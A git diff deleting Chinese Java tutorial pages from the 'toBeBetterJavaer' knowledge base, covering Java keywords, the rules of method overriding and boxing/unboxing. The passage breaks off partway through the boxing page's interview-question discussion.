Arithmetic)是一个定义浮点数表示和运算的国际标准。由国际电气和电子工程师协会(IEEE)制定,首次发布于1985年。 - -IEEE 754 标准主要规定了以下几个方面: - -浮点数表示:标准定义了两种浮点数格式,单精度(32位)和双精度(64位)。这两种格式分别由符号位、指数位和尾数位组成,用于表示浮点数的大小和精度。 - -四舍五入和舍入模式:标准定义了多种舍入模式,例如向最接近的数舍入(Round to Nearest, Ties to Even)、向零舍入(Round toward Zero)、向正无穷舍入(Round toward +∞)和向负无穷舍入(Round toward -∞)等。这些模式指导了浮点数计算过程中如何处理精度损失和舍入误差。 - -特殊值:标准定义了一些特殊的浮点数值,如正无穷(+∞)、负无穷(-∞)和非数值(NaN)。这些特殊值用于表示浮点数计算中可能出现的溢出、下溢和未定义结果等情况。 - -浮点数运算:标准规定了浮点数的基本运算(加、减、乘、除)和比较运算(等于、不等于、大于、小于、大于等于、小于等于)的行为和结果。这些运算需要遵循标准中规定的表示、舍入和特殊值处理规则。 - -来看示例 - -```java -public class Ieee754Demo { - - public static void main(String[] args) { - float a = 0.1f; - float b = 0.2f; - float c = a + b; - - System.out.println("a = " + a); - System.out.println("b = " + b); - System.out.println("c = a + b = " + c); - - double x = 1.0 / 0.0; - double y = -1.0 / 0.0; - double z = 0.0 / 0.0; - - System.out.println("x = 1.0 / 0.0 = " + x); - System.out.println("y = -1.0 / 0.0 = " + y); - System.out.println("z = 0.0 / 0.0 = " + z); - } -} -``` - -输出结果: - -![](https://cdn.paicoding.com/stutymore/override-overload-20230408151129.png) - -我们可以看到 IEEE 754 标准中的浮点数表示和运算: - -- 单精度浮点数的加法:变量 a 和 b 分别存储了 0.1 和 0.2,它们的和 c 等于 0.3。由于浮点数表示的精度限制,c 的实际值可能与理论值略有误差。 -- 特殊值:变量 x、y 和 z 分别存储了正无穷(+∞)、负无穷(-∞)和非数值(NaN)。这些特殊值是由除法运算产生的,当被除数为 0 或结果无法表示时,会返回相应的特殊值。 - -## 39、super: - -可用于[调用父类的方法或者字段](https://javabetter.cn/oo/this-super.html)。 - -```java -class Animal { - protected String name; - - public Animal(String name) { - this.name = name; - } - - public void eat() { - System.out.println(name + " is eating."); - } -} - -public class Dog extends Animal { - public Dog(String name) { - super(name); // 调用父类的构造方法 - } - - public void bark() { - System.out.println(name + " is barking."); - } - - public void eat() { - super.eat(); // 调用父类的方法 - System.out.println(name + " is eating bones."); - } -} -``` - -## 40、switch: - -用于根据某个变量的值选择执行不同的代码块。switch 语句通常与 case 和 default 一起使用。每个 case 子句表示一个可能的值和对应的代码块,而 default 子句用于处理不在 case 子句中的值。 - -```java -public class Main { - public static void main(String[] args) { - int dayOfWeek = 3; - - switch (dayOfWeek) { - case 1: - System.out.println("Monday"); - break; - case 2: - System.out.println("Tuesday"); - break; - case 3: - System.out.println("Wednesday"); - break; - case 4: - System.out.println("Thursday"); - break; - case 5: - System.out.println("Friday"); - break; - case 6: - System.out.println("Saturday"); - break; - case 7: - System.out.println("Sunday"); - break; - default: - System.out.println("Invalid day"); - break; - } - } -} -``` - -在这个示例中,我们定义了一个名为 dayOfWeek 的整数变量,并赋予了一个值。然后,我们使用 switch 语句根据 dayOfWeek 的值来输出对应的星期几。每个 case 子句表示 dayOfWeek 可能的值,后面紧跟着要执行的代码。使用 break 语句跳出 switch 语句,避免执行其他 case 子句的代码。如果 dayOfWeek 的值不在 case 子句中,default 子句将被执行。 - -## 41、synchronized: - -[用于指定多线程代码中的同步方法、变量或者代码块](https://javabetter.cn/thread/synchronized-1.html)。 - -```java -public class MyClass { - private int count; - - public synchronized void increment() { - count++; // 同步方法 - } - - public void doSomething() { - synchronized(this) { // 同步代码块 - // 执行一些需要同步的操作 - } - } -} -``` - -## 42、this: - -[可用于在方法或构造方法中引用当前对象](https://javabetter.cn/oo/this-super.html)。 - -```java -public class MyClass { - private int num; - - public MyClass(int num) { - this.num = num; // 使用 this 关键字引用当前对象的成员变量 - } - - public void doSomething() { - System.out.println("Doing something with " + this.num); // 使用 this 关键字引用当前对象的成员变量 - } - - public MyClass getThis() { - return this; // 返回当前对象本身 - } -} -``` - -在这个示例中,MyClass 类有一个私有成员变量 num,并定义了一个构造方法、一个方法和一个返回当前对象的方法。在构造方法中,使用 this 关键字引用当前对象的成员变量,并将传入的参数赋值给该成员变量。在方法 `doSomething()` 中,使用 this 关键字引用当前对象的成员变量,并输出该成员变量的值。在方法 `getThis()` 中,直接返回当前对象本身。 - -## 43、throw: - -主动抛出[异常](https://javabetter.cn/exception/gailan.html)。 - -```java -public class MyClass { - public void doSomething(int num) throws Exception { - if (num < 0) { - throw new Exception("num must be greater than zero"); // 手动抛出异常 - } - // 执行一些操作 - } -} -``` - -## 44、throws: - -用于声明异常。 - -```java -public class MyClass { - public void doSomething(int num) throws Exception { - if (num < 0) { - throw new Exception("num must be greater than zero"); // 手动抛出异常 - } - // 执行一些操作 - } -} -``` - -## 45、transient: - -[修饰的字段不会被序列化](https://javabetter.cn/io/transient.html)。 - -```java -public class MyClass implements Serializable { - private int id; - private String name; - private transient String password; - - public MyClass(int id, String name, String password) { - this.id = id; - this.name = name; - this.password = password; - } - - // 省略 getter 和 setter 方法 - - @Override - public String toString() { - return "MyClass{" + - "id=" + id + - ", name='" + name + '\'' + - ", password='" + password + '\'' + - '}'; - } -} -``` - -在这个示例中,MyClass 类实现了 Serializable 接口,表示该类的对象可以被序列化。该类有三个成员变量,分别是 id、name 和 password。其中,password 成员变量被标记为 transient,表示在序列化过程中忽略这个成员变量。 - -## 45、try: - -用于包裹要捕获异常的代码块。 - -```java -try { - // 可能抛出异常的代码 - int result = 1 / 0; -} catch (Exception e) { - // 异常处理代码 - e.printStackTrace(); -} -``` - -## 46、void: - -用于指定方法没有返回值。 - -```java -public void doSomething() { - // 方法体 -} -``` - -## 47、volatile: - -保证不同线程对它修饰的变量进行操作时的[可见性](https://javabetter.cn/thread/volatile.html),即一个线程修改了某个变量的值,新值对其他线程来说是立即可见的。 - -```java -public class MyThread extends Thread { - private volatile boolean running = true; - - @Override - public void run() { - while (running) { - // 线程执行的代码 - } - } - - public void stopThread() { - running = false; - } -} -``` - -在这个示例中,MyThread 类继承了 Thread 类,重写了 `run()` 方法。MyThread 类有一个成员变量 running,被标记为 volatile,表示这个变量是共享的,可能会被多个线程同时访问。在 `run()` 方法中,使用 while 循环检查 running 变量的值,如果 running 为 true,就继续执行循环体中的代码。在另一个方法 `stopThread()` 中,将 running 变量的值设置为 false,表示需要停止线程。 - -## 48、while: - -如果循环次数不固定,建议使用 while 循环。 - -```java -int i = 0; -while (i < 10) { - System.out.println(i); - i++; -} -``` - - - -“好了,三妹,关于 Java 中的关键字就先说这 48 个吧,这只是一个大概的介绍,后面还会对一些特殊的关键字单独拎出来详细地讲,比如说重要的 static、final 等等,有链接的都是后面会详细讲的。”转动了一下僵硬的脖子后,我对三妹说。 - -## 49、goto 和 const: - -“除了这些关键字,Java 中还有两个非常特殊的保留字(goto 和 const),它们不能在程序中使用。” - -“goto 在 C语言中叫做‘无限跳转’语句,在 Java 中,不再使用 goto 语句,因为无限跳转会破坏程序结构。” - -Java 中确实可以使用标签(label)与 break 和 continue 语句结合来实现类似 goto 的跳转功能。以下是一个简单的示例: - -```java -public class LabelDemo { - public static void main(String[] args) { - outerLoop: - for (int i = 0; i < 3; i++) { - for (int j = 0; j < 3; j++) { - if (i == 1 && j == 1) { - System.out.println("跳过 outerLoop 中的当前迭代"); - continue outerLoop; - } - System.out.println("i: " + i + ", j: " + j); - } - } - System.out.println("结束"); - } -} -``` - -在这个示例中,我们使用了两层嵌套循环。外层循环有一个名为 outerLoop 的标签。当 i 等于 1 且 j 等于 1 时,我们使用 continue outerLoop 语句跳过外层循环中的当前迭代。这与 goto 的行为类似。 - -来看输出结果: - -``` -i: 0, j: 0 -i: 0, j: 1 -i: 0, j: 2 -i: 1, j: 0 -跳过 outerLoop 中的当前迭代 -i: 2, j: 0 -i: 2, j: 1 -i: 2, j: 2 -结束 -``` - -尽管可以使用标签实现类似 goto 的跳转功能,但这种用法在 Java 中仍然较少见,因为过度使用可能导致代码难以理解和维护。通常建议尽可能使用其他控制结构(如 if、for 和 while 语句)来组织代码。 - -以下是一个使用 if 和 for 语句替代标签跳转的示例。在这个示例中,我们使用了一个布尔变量 skipIteration 来决定是否跳过外层循环的当前迭代: - -```java -public class IfForDemo { - public static void main(String[] args) { - for (int i = 0; i < 3; i++) { - boolean skipIteration = false; - for (int j = 0; j < 3; j++) { - if (i == 1 && j == 1) { - System.out.println("跳过外层循环中的当前迭代"); - skipIteration = true; - break; - } - System.out.println("i: " + i + ", j: " + j); - } - if (skipIteration) { - continue; - } - } - } -} -``` - -在这个示例中,当 i 等于 1 且 j 等于 1 时,我们将 skipIteration 设置为 true,然后使用 break 语句跳出内层循环。在外层循环中,我们检查 skipIteration 变量的值,如果为 true,则跳过外层循环的当前迭代。 - -这个示例的输出结果与之前的示例相同: - -``` -i: 0, j: 0 -i: 0, j: 1 -i: 0, j: 2 -i: 1, j: 0 -跳过外层循环中的当前迭代 -i: 2, j: 0 -i: 2, j: 1 -i: 2, j: 2 -``` - -“const 在 [C语言](https://javabetter.cn/xuexiluxian/c.html)中是声明常量的关键字,在 Java 中可以使用 public static final 三个关键字的组合来达到常量的效果。” - -```java -public class Circle { - public static final double PI = 3.14159; - - public static double calculateArea(double radius) { - return PI * radius * radius; - } -} -``` - -在这个示例中,我们使用 public static final 关键字组合定义了一个名为 PI 的常量。因为它是 public 的,所以其他类可以访问这个常量。因为它是 static 的,所以它与类关联,而不是类的实例。因为它是 final 的,所以它的值不能被更改。 - -“好的二哥,我了解了,你休息会,我再记一记。” - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/basic-extra-meal/Overriding.md b/docs/src/basic-extra-meal/Overriding.md deleted file mode 100644 index 3909563477..0000000000 --- a/docs/src/basic-extra-meal/Overriding.md +++ /dev/null @@ -1,334 +0,0 @@ ---- -title: Java重写(Overriding)时应当遵守的11条规则 -shortTitle: 重写时应当遵守的11条规则 -category: - - Java核心 -tag: - - Java重要知识点 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,Java重写(Overriding)时应当遵守的11条规则 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,重写,Overriding ---- - - -重写(Overriding)算是 Java 中一个非常重要的概念,理解重写到底是什么对每个 Java 程序员来说都至关重要,这篇文章就来给大家说说重写过程中应当遵守的 12 条规则。 - -## 01、什么是重写? - -重写带来了一种非常重要的能力,可以让子类重新实现从超类那继承过来的方法。在下面这幅图中,Animal 是父类,Dog 是子类,Dog 重新实现了 `move()` 方法用来和父类进行区分,毕竟狗狗跑起来还是比较有特色的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-1.png) - -重写的方法和被重写的方法,不仅方法名相同,参数也相同,只不过,方法体有所不同。 - -## 02、哪些方法可以被重写? - -### **规则一:只能重写继承过来的方法**。 - -因为重写是在子类重新实现从父类继承过来的方法时发生的,所以只能重写继承过来的方法,这很好理解。这就意味着,只能重写那些被 public、protected 或者 default 修饰的方法,private 修饰的方法无法被重写。 - -Animal 类有 `move()`、`eat()` 和 `sleep()` 三个方法: - -```java -public class Animal { - public void move() { } - - protected void eat() { } - - void sleep(){ } -} -``` - -Dog 类来重写这三个方法: - -```java -public class Dog extends Animal { - public void move() { } - - protected void eat() { } - - void sleep(){ } -} -``` - - OK,完全没有问题。但如果父类中的方法是 private 的,就行不通了。 - -```java -public class Animal { - private void move() { } -} -``` - -此时,Dog 类中的 `move()` 方法就不再是一个重写方法了,因为父类的 `move()` 方法是 private 的,对子类并不可见。 - -```java -public class Dog extends Animal { - public void move() { } -} -``` - -## 03、哪些方法不能被重写? - -### **规则二:final、static 的方法不能被重写**。 - -一个方法是 final 的就意味着它无法被子类继承到,所以就没办法重写。 - -```java -public class Animal { - final void move() { } -} -``` - -由于父类 Animal 中的 `move()` 是 final 的,所以子类在尝试重写该方法的时候就出现编译错误了! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-2.png) - -同样的,如果一个方法是 static 的,也不允许重写,因为静态方法可用于父类以及子类的所有实例。 - -```java -public class Animal { - final void move() { } -} -``` - -重写的目的在于根据对象的类型不同而表现出多态,而静态方法不需要创建对象就可以使用。没有了对象,重写所需要的“对象的类型”也就没有存在的意义了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-3.png) - -## 04、重写方法的要求 - -### **规则三:重写的方法必须有相同的参数列表**。 - -```java -public class Animal { - void eat(String food) { } -} -``` - -Dog 类中的 `eat()` 方法保持了父类方法 `eat()` 的同一个调调,都有一个参数——String 类型的 food。 - -```java -public class Dog extends Animal { - public void eat(String food) { } -} -``` - -一旦子类没有按照这个规则来,比如说增加了一个参数: - -```java -public class Dog extends Animal { - public void eat(String food, int amount) { } -} -``` - -这就不再是重写的范畴了,当然也不是重载的范畴,因为重载考虑的是同一个类。 - -**规则四:重写的方法必须返回相同的类型**。 - -父类没有返回类型: - -```java -public class Animal { - void eat(String food) { } -} -``` - -子类尝试返回 String: - -```java -public class Dog extends Animal { - public String eat(String food) { - return null; - } -} -``` - -于是就编译出错了(返回类型不兼容)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-4.png) - -### **规则五:重写的方法不能使用限制等级更严格的权限修饰符**。 - -可以这样来理解: - -- 如果被重写的方法是 default,那么重写的方法可以是 default、protected 或者 public。 -- 如果被重写的方法是 protected,那么重写的方法只能是 protected 或者 public。 -- 如果被重写的方法是 public, 那么重写的方法就只能是 public。 - -举个例子,父类中的方法是 protected: - -```java -public class Animal { - protected void eat() { } -} -``` - -子类中的方法可以是 public: - -```java -public class Dog extends Animal { - public void eat() { } -} -``` - -如果子类中的方法用了更严格的权限修饰符,编译器就报错了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-5.png) - -### **规则六:重写后的方法不能抛出比父类中更高级别的异常**。 - -举例来说,如果父类中的方法抛出的是 IOException,那么子类中重写的方法不能抛出 Exception,可以是 IOException 的子类或者不抛出任何异常。这条规则只适用于可检查的异常。 - -可检查(checked)异常必须在源代码中显式地进行捕获处理,不检查(unchecked)异常就是所谓的运行时异常,比如说 NullPointerException、ArrayIndexOutOfBoundsException 之类的,不会在编译器强制要求。 - -父类抛出 IOException: - -```java -public class Animal { - protected void eat() throws IOException { } -} -``` - -子类抛出 FileNotFoundException 是可以满足重写的规则的,因为 FileNotFoundException 是 IOException 的子类。 - -```java -public class Dog extends Animal { - public void eat() throws FileNotFoundException { } -} -``` - -如果子类抛出了一个新的异常,并且是一个 checked 异常: - -```java -public class Dog extends Animal { - public void eat() throws FileNotFoundException, InterruptedException { } -} -``` - -那编译器就会提示错误: - -``` -Error:(9, 16) java: com.itwanger.overriding.Dog中的eat()无法覆盖com.itwanger.overriding.Animal中的eat() - 被覆盖的方法未抛出java.lang.InterruptedException -``` - -但如果子类抛出的是一个 unchecked 异常,那就没有冲突: - -```java -public class Dog extends Animal { - public void eat() throws FileNotFoundException, IllegalArgumentException { } -} -``` - -如果子类抛出的是一个更高级别的异常: - -```java -public class Dog extends Animal { - public void eat() throws Exception { } -} -``` - -编译器同样会提示错误,因为 Exception 是 IOException 的父类。 - -``` -Error:(9, 16) java: com.itwanger.overriding.Dog中的eat()无法覆盖com.itwanger.overriding.Animal中的eat() - 被覆盖的方法未抛出java.lang.Exception -``` - -## 05、如何调用被重写的方法? - -### **规则七:可以在子类中通过 super 关键字来调用父类中被重写的方法**。 - -子类继承父类的方法而不是重新实现是很常见的一种做法,在这种情况下,可以按照下面的形式调用父类的方法: - -```java -super.overriddenMethodName(); -``` - -来看例子。 - -```java -public class Animal { - protected void eat() { } -} -``` - -子类重写了 `eat()` 方法,然后在子类的 `eat()` 方法中,可以在方法体的第一行通过 `super.eat()` 调用父类的方法,然后再增加属于自己的代码。 - -```java -public class Dog extends Animal { - public void eat() { - super.eat(); - // Dog-eat - } -} -``` - -## 06、重写和构造方法 - -### **规则八:构造方法不能被重写**。 - -因为构造方法很特殊,而且子类的构造方法不能和父类的构造方法同名(类名不同),所以构造方法和重写之间没有任何关系。 - -## 07、重写和抽象方法 - -### **规则九:如果一个类继承了抽象类,抽象类中的抽象方法必须在子类中被重写**。 - -先来看这样一个接口类: - -```java -public interface Animal { - void move(); -} -``` - -接口中的方法默认都是抽象方法,通过反编译是可以看得到的: - -```java -public interface Animal -{ - public abstract void move(); -} -``` - -如果一个抽象类实现了 Animal 接口,`move()` 方法不是必须被重写的: - -```java -public abstract class AbstractDog implements Animal { - protected abstract void bark(); -} -``` - -但如果一个类继承了抽象类 AbstractDog,那么 Animal 接口中的 `move()` 方法和抽象类 AbstractDog 中的抽象方法 `bark()` 都必须被重写: - -```java -public class BullDog extends AbstractDog { - - public void move() {} - - protected void bark() {} -} -``` - -## 08、重写和 synchronized 方法 - -### **规则十:synchronized 关键字对重写规则没有任何影响**。 - -synchronized 关键字用于在多线程环境中获取和释放监听对象,因此它对重写规则没有任何影响,这就意味着 synchronized 方法可以去重写一个非同步方法。 - -## 09、重写和 strictfp 方法 - -### **规则十一:strictfp 关键字对重写规则没有任何影响**。 - -如果你想让浮点运算更加精确,而且不会因为硬件平台的不同导致执行的结果不一致的话,可以在方法上添加 strictfp 关键字。因此 strictfp 关键和重写规则无关。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/box.md b/docs/src/basic-extra-meal/box.md deleted file mode 100644 index 8d5dbc8f93..0000000000 --- a/docs/src/basic-extra-meal/box.md +++ /dev/null @@ -1,401 +0,0 @@ ---- -title: 深入浅出Java拆箱与装箱:理解自动类型转换与包装类的关系 -shortTitle: 拆箱和装箱 -category: - - Java核心 -tag: - - Java重要知识点 -description: 拆箱与装箱是Java自动类型转换的重要概念。拆箱是将包装类对象转换为其对应的基本数据类型,而装箱是将基本数据类型转换为相应的包装类对象。本文详细介绍了拆箱和装箱的过程、原理以及Java中的包装类,以帮助您更好地理解这两个概念 -author: 沉默王二 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,装箱,拆箱,包装类型,基本数据类型,自动装箱,自动拆箱 ---- - -“哥,听说 Java 的每个[基本数据类型](https://javabetter.cn/basic-grammar/basic-data-type.html)都对应了一个包装类型,比如说 int 的包装类型为 Integer,double 的包装类型为 Double,是这样吗?”从三妹这句话当中,能听得出来,她已经提前预习这块内容了。 - -“是的,三妹。”我接着三妹的问题回答说。 - -- Java 是面向对象的编程语言,但为了提升程序的运行效率,所以 Java 搞出来了基本数据类型这套东西,比如说 int、double、boolean 等等。后面我会讲为什么。 -- 但是,基本数据类型又不能满足所有的应用场景,比如说,我们定义一个 int 类型的 ArrayList,你就只能用 `List list = new ArrayList<>();` 这种方式来定义,不能用 `List list = new ArrayList<>();` 这种方式来定义,因为[泛型](https://javabetter.cn/basic-extra-meal/generic.html)不支持基本数据类型。后面我也会讲为什么。 - -那既然存在基本数据类型,又存在包装类型,它们之间肯定存在一些使用上的差异,以及在某些场景下需要进行类型转换。这就是今天我们要讲的拆箱和装箱。 - -拆箱就是将包装类型对象转换为其对应的基本数据类型,而装箱则是将基本数据类型转换为相应的包装类型对象。 - -示例代码如下: - -```java -Integer chenmo = new Integer(10); // 装箱 -int wanger = chenmo.intValue(); // 拆箱 -``` - -### 包装类型和基本数据类型之间的区别 - -好,接下来我们先来介绍一下包装类型和基本数据类型之间的区别。 - -#### 包装类型可以为 null,而基本数据类型不可以 - -别小看这一点区别,这使得包装类型可以应用于 POJO 中,而基本数据类型则不行。 - -POJO 是什么呢? - -POJO 的英文全称是 Plain Ordinary Java Object,翻译一下就是,简单无规则的 Java 对象,只有字段以及对应的 setter 和 getter 方法。来看下面这段代码: - -```java -class Writer { - private Integer age; - private String name; - - public Integer getAge() { - return age; - } - - public void setAge(Integer age) { - this.age = age; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } -} -``` - -这就是一个非常纯粹,非常典型的 POJO,在我们编写的 Java 应用程序中会经常用到。 - -“哥,你说的 POJO 是不是就是 JavaBean 啊?”三妹这时候追问道。 - -“是的,如果定义没那么严格的话,JavaBean 也是一种 POJO。” - -和 POJO 类似的,还有: - -- 数据传输对象 DTO(Data Transfer Object,泛指用于展示层与服务层之间的数据传输对象) -- 视图对象 VO(View Object,把某个页面的数据封装起来) -- 持久化对象 PO(Persistant Object,可以看成是与数据库中的表映射的 Java 对象)。 - -[技术派实战项目](https://github.com/itwanger/paicoding)当中就有大量 POJO,我截图大家感受下,工作后其实会经常碰到。 - -![](https://cdn.paicoding.com/stutymore/box-20231231071807.png) - -只不过,我们不再写 setter 和 getter 方法,而是使用 [Lombok](https://javabetter.cn/springboot/lombok.html) 来自动生成。也就是上图当中的 `@Data` 注解。 - -“那为什么 POJO 的字段必须要用包装类型呢?”三妹又追问道。 - -“《[阿里巴巴 Java 开发手册](https://javabetter.cn/pdf/ali-java-shouce.html)》上有详细的说明,你看。”我打开 PDF,并翻到了对应的内容,指着屏幕念道。 - ->数据库的查询结果可能是 null,如果使用基本数据类型的话,因为要自动拆箱,就会抛出 [NullPointerException 的异常](https://javabetter.cn/exception/npe.html)。 - -“什么是自动拆箱呢?” - -“自动拆箱指的是,将包装类型转为基本数据类型,比如说把 Integer 对象转换成 int 值;对应的,把基本数据类型转为包装类型,则称为自动装箱。” - -“哦。” - -#### 包装类型可用于泛型,而基本数据类型不可以 - -“那接下来,我们来看第二点不同。**包装类型可用于泛型,而基本数据类型不可以**,否则就会出现编译错误。”一边说着,我一边在 Intellij IDEA 中噼里啪啦地敲了起来。 - -“三妹,你瞧,编译器提示错误了。” - -```java -List list = new ArrayList<>(); // 提示 Syntax error, insert "Dimensions" to complete ReferenceType -List list = new ArrayList<>(); -``` - -“为什么呢?”三妹及时地问道。 - -“因为[泛型](https://javabetter.cn/basic-extra-meal/generic.html)在编译时会进行类型擦除,最后只保留原始类型,而原始类型只能是 Object 类及其子类——基本数据类型是个例外。” - -这个我们在讲[泛型](https://javabetter.cn/basic-extra-meal/generic.html)的时候,也有详细讲过,你应该还记得吧? - -“嗯,我记得。” - -#### 基本数据类型比包装类型更高效 - -“哥,你之前说到,Java 搞出来了基本数据类型这套东西,是为了提升程序的运行效率,为什么呢?”三妹又追问道。 - -那这里其实就是为了讲这个问题。 - -“好,接下来,我们来说第三点,**基本数据类型比包装类型更高效**。”我喝了一口布丁奶茶后继续说道。 - -“作为局部变量时,基本数据类型在栈中直接存储的具体数值,而包装类型则存储的是堆中的引用。”我一边说着,一边打开 [`draw.io`](https://app.diagrams.net/) 画起了图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/box-01.png) - ->关于堆和栈的知识,我们会在讲 [JVM 运行时数据区](https://javabetter.cn/jvm/neicun-jiegou.html)的时候详细讲解。 - -很显然,相比较于基本类型而言,包装类型需要占用更多的内存空间。 - -- 基本数据类型:仅占用足够存储其值的固定大小的内存。例如,一个 int 值占用 4 字节。 -- 包装类型:占用的内存空间要大得多,因为它们是对象,并且要存储对象的元数据。例如,一个 Integer 对象占用 16 字节。 - -并且不仅要存储对象,还要存储引用。假如没有基本数据类型的话,对于数值这类经常使用到的数据来说,每次都要通过 new 一个包装类型就显得非常笨重。 - -我们通过一个简单的例子来印证这一点: - -```java -public class MemoryUsageTest { - - public static void main(String[] args) { - Runtime runtime = Runtime.getRuntime(); - long memoryBefore, memoryAfter; - int size = 1000000; - - // 测试基本类型 int 的内存占用 - runtime.gc(); - memoryBefore = runtime.totalMemory() - runtime.freeMemory(); - int[] intArray = new int[size]; - memoryAfter = runtime.totalMemory() - runtime.freeMemory(); - System.out.println("基本数据类型数组占用内存: " + (memoryAfter - memoryBefore)); - - // 测试包装类型 Integer 的内存占用 - runtime.gc(); - memoryBefore = runtime.totalMemory() - runtime.freeMemory(); - Integer[] integerArray = new Integer[size]; - for (int i = 0; i < size; i++) { - integerArray[i] = i; // 自动装箱 - } - memoryAfter = runtime.totalMemory() - runtime.freeMemory(); - System.out.println("包装类型数组占用内存空间: " + (memoryAfter - memoryBefore)); - } -} -``` - -创建 100万个数组,一个用基本数据类型,一个用包装类型,然后比较它们的内存占用情况。 - -``` -基本数据类型数组占用内存: 5342192 -包装类型数组占用内存空间: 22790672 -``` - -可以看得出来,基本数据类型数组占用的内存空间比包装类型的少了一个数量级。当然了,这种方法没那么严谨,但多少能说明一些问题。 - -#### 不同类型数据存储的位置 - -“三妹,你想知道程序运行时,数据都存储在什么地方吗?” - -“嗯嗯,哥,你说说呗。” - -“通常来说,有 4 个地方可以用来存储数据。” - -1)寄存器。这是最快的存储区,因为它位于 CPU 内部,用来暂时存放参与运算的数据和运算结果。 - -2)栈。位于 RAM(Random Access Memory,也叫主存,与 CPU 直接交换数据的内部存储器)中,速度仅次于寄存器。但是,在分配内存的时候,存放在栈中的数据大小与生存周期必须在编译时是确定的,缺乏灵活性。基本数据类型的值和对象的引用通常存储在这块区域。 - -3)堆。也位于 RAM 区,可以动态分配内存大小,编译器不必知道要从堆里分配多少存储空间,生存周期也不必事先告诉编译器,Java 的垃圾收集器会自动收走不再使用的数据,因此可以得到更大的灵活性。但是,运行时动态分配内存和销毁对象都需要占用时间,所以效率比栈低一些。new 创建的对象都会存储在这块区域。 - -4)磁盘。如果数据完全存储在程序之外,就可以不受程序的限制,在程序没有运行时也可以存在。像文件、数据库,就是通过持久化的方式,让对象存放在磁盘上。当需要的时候,再反序列化成程序可以识别的对象。 - -“能明白吗?三妹?” - -“这节讲完后,我再好好消化一下。” - -“别担心,后面讲 [JVM 运行时数据区](https://javabetter.cn/jvm/neicun-jiegou.html)的时候也会重新讲到。” - -#### 包装类型的值可以相同,但却不相等 - -“那好,我们来说第四点,**两个包装类型的值可以相同,但却不相等**。” - -```java -Integer chenmo = new Integer(10); -Integer wanger = new Integer(10); - -System.out.println(chenmo == wanger); // false -System.out.println(chenmo.equals(wanger )); // true -``` - -“两个包装类型在使用“==”进行判断的时候,判断的是其指向的地址是否相等,由于是两个对象,所以地址是不同的。” - -“而 `chenmo.equals(wanger)` 的输出结果为 true,是因为 `equals()` 方法内部比较的是两个 int 值是否相等。” - -```java -private final int value; - -public int intValue() { - return value; -} -public boolean equals(Object obj) { - if (obj instanceof Integer) { - return value == ((Integer)obj).intValue(); - } - return false; -} -``` - -虽然 chenmo 和 wanger 的值都是 10,但他们并不相等。换句话说就是:将“==”操作符应用于包装类型比较的时候,其结果很可能会和预期的不符。 - -### 自动装箱和自动拆箱 - -“三妹,瞧,`((Integer)obj).intValue()` 这段代码就是用来拆箱的。不过这种属于手动拆箱,对应的还有一种自动拆箱,我们来详细地解释下。” - -既然有基本数据类型和包装类型,肯定有些时候要在它们之间进行转换。把基本数据类型转换成包装类型的过程叫做装箱(boxing)。反之,把包装类型转换成基本数据类型的过程叫做拆箱(unboxing)。 - -在 Java 1.5 之前,开发人员要手动进行装拆箱,比如说: - -```java -Integer chenmo = new Integer(10); // 手动装箱 -int wanger = chenmo.intValue(); // 手动拆箱 -``` - -Java 1.5 为了减少开发人员的工作,提供了自动装箱与自动拆箱的功能。这下就方便了。 - -```java -Integer chenmo = 10; // 自动装箱 -int wanger = chenmo; // 自动拆箱 -``` - -来看一下反编译后的代码。 - -```java -Integer chenmo = Integer.valueOf(10); -int wanger = chenmo.intValue(); -``` - -也就是说,自动装箱是通过 `Integer.valueOf()` 完成的;自动拆箱是通过 `Integer.intValue()` 完成的。 - -“嗯,三妹,给你出一道面试题吧。” - -```java -// 1)基本数据类型和包装类型 -int a = 100; -Integer b = 100; -System.out.println(a == b); - -// 2)两个包装类型 -Integer c = 100; -Integer d = 100; -System.out.println(c == d); - -// 3) -c = 200; -d = 200; -System.out.println(c == d); -``` - -“给你 3 分钟时间,你先思考下,我去抽根华子,等我回来,然后再来分析一下为什么。” - -。。。。。。 - -“嗯,哥,你过来吧,我说一说我的想法。” - -第一段代码,基本数据类型和包装类型进行 == 比较,这时候 b 会自动拆箱,直接和 a 比较值,所以结果为 true。 - -第二段代码,两个包装类型都被赋值为了 100,这时候会进行自动装箱,按照你之前说的,将“==”操作符应用于包装类型比较的时候,其结果很可能会和预期的不符,我想结果可能为 false。 - -第三段代码,两个包装类型重新被赋值为了 200,这时候仍然会进行自动装箱,我想结果仍然为 false。 - 